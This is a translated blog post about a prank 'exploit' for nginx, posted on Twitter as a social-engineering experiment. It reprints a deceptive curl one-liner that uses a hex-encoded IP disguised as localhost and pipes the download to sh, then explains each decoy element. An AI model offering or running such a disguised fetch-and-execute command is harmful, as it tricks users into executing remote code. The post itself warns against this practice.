Le succès de l'expérience sociale avec l'exploit factice pour nginx

Note de traduction.: Auteur L'article original, publié le 1er juin, a décidé de mener une expérience auprès de ceux qui s'intéressent à la sécurité de l'information. Pour ce faire, il a préparé un exploit factice pour une vulnérabilité non révélée dans le serveur web et l'a publié sur son Twitter. Ses hypothèses — être immédiatement démasqué par des spécialistes qui verraient l'évident mensonge dans le code — ne se sont pas simplement révélées fausses… Elles ont dépassé toutes les attentes, dans le sens inverse : le tweet a reçu un énorme soutien de nombreux individus qui n'ont pas pris la peine de vérifier son contenu.

TL;DR : n'utilisez en aucun cas le piping de fichiers en sh ou bash. C'est un excellent moyen de perdre le contrôle de votre ordinateur.

Je veux partager avec vous une petite histoire sur un PoC d'exploit humoristique qui a été créé le 31 mai. Il est apparu rapidement en réponse à la nouvelle de Alisa Esage Shevchenko, membre de Zero Day Initiative (ZDI), annonçant qu'une information sur une vulnérabilité dans NGINX, menant à une RCE (exécution de code à distance), serait bientôt révélée. Étant donné que NGINX est à la base de nombreux sites web, la nouvelle devait avoir un effet explosif. Cependant, en raison de retards dans le processus de « divulgation responsable », les détails de ce qui s'est passé n'étaient pas connus — c'est la procédure standard du ZDI.

Tweet concernant la divulgation de la vulnérabilité dans NGINX

Ayant terminé de travailler sur une nouvelle technique d'obfuscation dans curl, j'ai cité le tweet original et « lâché un PoC fonctionnel », composé d'une seule ligne de code, prétendument utilisant la vulnérabilité découverte. Bien sûr, c'était une pur mensonge. Je pensais que j'allais être démasqué tout de suite, et que dans le meilleur des cas, je recevrais quelques retweets (et tant pis).

Tweet avec un exploit factice

Cependant, je ne pouvais pas imaginer ce qui allait se passer ensuite. La popularité de mon tweet a grimpé en flèche. Étonnamment, jusqu'à présent (15h00 MSK le 1er juin), très peu de gens ont réalisé que c'était une supercherie. Beaucoup le retweetent sans même vérifier (sans parler d’admirer l'adorable ASCII art qu'il produit).

Regardez comme c'est beau !

Bien que tous ces cycles et couleurs soient remarquables, il est évident que pour les voir, les gens devaient exécuter le code sur leur machine. Heureusement, les navigateurs fonctionnent de la même manière, et étant donné que je n'ai pas du tout besoin de problèmes légaux, le code intégré dans mon site se contentait d'appels echo, sans essayer d'installer ou d'exécuter de code supplémentaire.

Petite digression : netspooky, dnz, moi et d'autres membres de l'équipe Thugcrowd experimentons depuis un certain temps différentes manières d'obfusquer des commandes curl, parce que c'est amusant… et nous sommes des geeks. netspooky et dnz ont découvert plusieurs nouvelles méthodes qui me semblaient extrêmement prometteuses. Je me suis joint au plaisir et j'ai essayé d'ajouter des conversions d'IP décimales à notre ensemble de tours. Il s'est avéré qu'il est également possible de convertir l'IP en format hexadécimal. De plus, curl et la plupart des autres outils NIX acceptent volontiers les IP hexadécimales ! Il suffisait donc de créer une ligne de commande convaincante et à l'apparence sécurisée. Au final, je me suis arrêté sur celle-ci :

curl -gsS https://127.0.0.1-OU-SERVEUR-VICTIME:443/..../..../..///nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

L'ingénierie socio-électronique (S.E.E.) — plus qu'un simple phishing

La sécurité et la familiarité ont été au cœur de cette expérience. Je pense que c'est ce qui a conduit à son succès. La ligne de commande impliquait clairement la sécurité en se référant à « 127.0.0.1 » (le localhost bien connu). Le localhost est considéré comme sûr, et les données qu'il contient ne quittent jamais votre ordinateur.

La familiarité était le deuxième élément clé de l'expérience S.E.E. Étant donné que le public cible était principalement composé de personnes ayant des connaissances de base en sécurité informatique, il était important de créer un code dont les parties semblaient familières et donc sûres. L'emprunt d'éléments de concepts d'anciennes exploitations et leur combinaison de manière originale s'est avéré très efficace.

Voici une analyse détaillée de la ligne de code. Tout dans cette liste est d'ordre cosmétique, et il ne nécessite pratiquement rien pour fonctionner réellement.

Quels composants sont réellement nécessaires ? Ce sont -gsS, -O 0x0238f06a, |sh et le serveur web lui-même. Le serveur web ne contenait aucune instruction malveillante, il se contentait de transmettre des graphiques ASCII à l'aide de commandes echo dans le script contenu dans index.html. Lorsque l'utilisateur saisissait une chaîne avec |sh au milieu, index.html cela se chargeait et s'exécutait. Heureusement, les gardiens du serveur web n'avaient pas de mauvaises intentions.

• ../../../%00 – représente un dépassement de répertoire ;
• ngx_stream_module.so – le chemin vers un module aléatoire de NGINX ;
• /bin/sh%00<'protocol:TCP' – nous prétendons exécuter /bin/sh sur la machine cible et rediriger la sortie vers un canal TCP ;
• -O 0x0238f06a#PLToffset – un ingrédient secret, complété #PLToffset, pour sembler être un décalage mémoire, contenu d'une manière ou d'une autre dans le PLT ;
• |sh; – un autre fragment important. Nous devions rediriger la sortie vers sh/bash pour exécuter le code provenant du serveur web attaquant situé à l'adresse 0x0238f06a (2.56.240.x);
• nc /dev/tcp/localhost – un leurre, où netcat fait référence à /dev/tcp/localhost, afin que tout semble à nouveau sécurisé. En réalité, cela ne fait rien et est inclus dans la chaîne pour l'apparence.

C'est ici que se terminent la déchiffration du script d'une ligne et la discussion des aspects de l'« ingénierie socio-électronique » (phishing astucieux).

Configuration du serveur web et mesures d'atténuation

Puisque la grande majorité de mes abonnés sont des experts en cybersécurité/hackers, j'ai décidé de rendre le serveur web un peu plus résistant aux manifestations d'« intérêt » de leur part simplement pour leur donner quelque chose à faire (et le configurer était plutôt amusant). Je ne vais pas énumérer ici tous les pièges, car l'expérience est encore en cours, mais voici quelques éléments que le serveur fait :

• Suit activement les tentatives de propagation sur certains réseaux sociaux et injecte différentes vignettes de prévisualisation pour inciter l'utilisateur à cliquer sur le lien.
• Redirige Chrome/Mozilla/Safari/etc. vers une bande-annonce Thugcrowd au lieu de montrer le script shell.
• Surveille les SIGNAUX MANIFESTES d'intrusion/violations, après quoi il commence à rediriger les requêtes vers les serveurs de la NSA (ha ha !).
• Installe un cheval de Troie, ainsi qu'un rootkit BIOS sur tous les ordinateurs dont les utilisateurs visitent l'hôte avec un navigateur ordinaire (c'est une blague !).

Une petite partie de l'anti-méchant

Dans ce cas, mon seul objectif était de maîtriser certaines fonctionnalités d'Apache – en particulier, de super règles de redirection de requêtes – et je me suis dit : pourquoi pas ?

Exploit NGINX (vrai !)

Suivez @alisaesage sur Twitter et suivez le travail remarquable de ZDI pour corriger de réelles vulnérabilités et opportunités d'exploitation dans NGINX. Leur travail m'a toujours fasciné et je suis reconnaissant à Alisa pour sa patience face à toutes les mentions et notifications causées par mon tweet stupide. Heureusement, cela a aussi servi à quelque chose : sensibiliser aux vulnérabilités de NGINX et aux problèmes causés par l'utilisation abusive de curl.

Source : habr.com